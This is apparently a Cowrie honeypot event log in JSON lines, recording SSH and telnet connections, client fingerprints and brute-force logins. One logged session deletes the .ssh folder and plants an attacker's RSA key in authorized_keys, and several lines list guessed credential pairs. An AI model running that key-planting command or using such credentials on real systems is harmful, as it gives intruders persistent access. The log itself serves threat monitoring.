{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:10.716983Z","src_ip":"87.106.29.151","session":"98aef3b77668","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:11.087969Z","src_ip":"87.106.29.151","session":"98aef3b77668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:11.187078Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:11.209203Z","src_ip":"87.106.29.151","session":"98aef3b77668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":55938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6a59c84ad61","protocol":"ssh","message":"New connection: 20.82.144.240:55938 (159.203.135.109:22) [session: a6a59c84ad61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:13.646554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:13.651113Z","src_ip":"20.82.144.240","session":"a6a59c84ad61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:13.718928Z","src_ip":"20.82.144.240","session":"a6a59c84ad61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntuftp","password":"ubuntuftp","message":"login attempt [ubuntuftp/ubuntuftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:14.036867Z","src_ip":"20.82.144.240","session":"a6a59c84ad61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.45.211","src_port":42888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f989729b6aad","protocol":"telnet","message":"New connection: 168.144.45.211:42888 (159.203.135.109:23) [session: f989729b6aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:14.227855Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:15.107736Z","src_ip":"20.82.144.240","session":"a6a59c84ad61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":33806,"dst_ip":"10.17.0.5","dst_port":22,"session":"994e50dd63a0","protocol":"ssh","message":"New connection: 138.124.158.150:33806 (10.17.0.5:22) [session: 994e50dd63a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:17.089225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:17.092922Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:17.264261Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Abcd1234","message":"login attempt [oracle/Abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:17.987262Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53637,"dst_ip":"159.203.135.109","dst_port":22,"session":"21770d75016c","protocol":"ssh","message":"New connection: 2.57.121.112:53637 (159.203.135.109:22) [session: 21770d75016c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.147006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.152111Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.253770Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"orange3","message":"login attempt [admin/orange3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.733671Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.877261Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.880980Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:18.885067Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.060596Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.444775Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.447860Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.627780Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.632080Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":33822,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4f7aba6ac7c","protocol":"ssh","message":"New connection: 138.124.158.150:33822 (10.17.0.5:22) [session: b4f7aba6ac7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.802738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.807377Z","src_ip":"138.124.158.150","session":"b4f7aba6ac7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"opie","message":"login attempt [admin/opie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.838278Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:19.987472Z","src_ip":"138.124.158.150","session":"b4f7aba6ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52866,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4daeddf5f9","protocol":"ssh","message":"New connection: 2.57.122.208:52866 (159.203.135.109:22) [session: 9a4daeddf5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:20.324919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:20.423489Z","src_ip":"2.57.122.208","session":"9a4daeddf5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:20.625636Z","src_ip":"2.57.122.208","session":"9a4daeddf5f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:20.719049Z","src_ip":"138.124.158.150","session":"b4f7aba6ac7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"onlyyou","message":"login attempt [admin/onlyyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:20.941617Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:21.426695Z","src_ip":"2.57.122.208","session":"9a4daeddf5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:21.895665Z","src_ip":"138.124.158.150","session":"b4f7aba6ac7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oneday","message":"login attempt [admin/oneday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:22.045821Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":42154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a77af6a5532f","protocol":"ssh","message":"New connection: 138.124.158.150:42154 (10.17.0.5:22) [session: a77af6a5532f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:22.064475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:22.069085Z","src_ip":"138.124.158.150","session":"a77af6a5532f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:22.241505Z","src_ip":"138.124.158.150","session":"a77af6a5532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:22.719115Z","src_ip":"2.57.122.208","session":"9a4daeddf5f9","protocol":"ssh"}
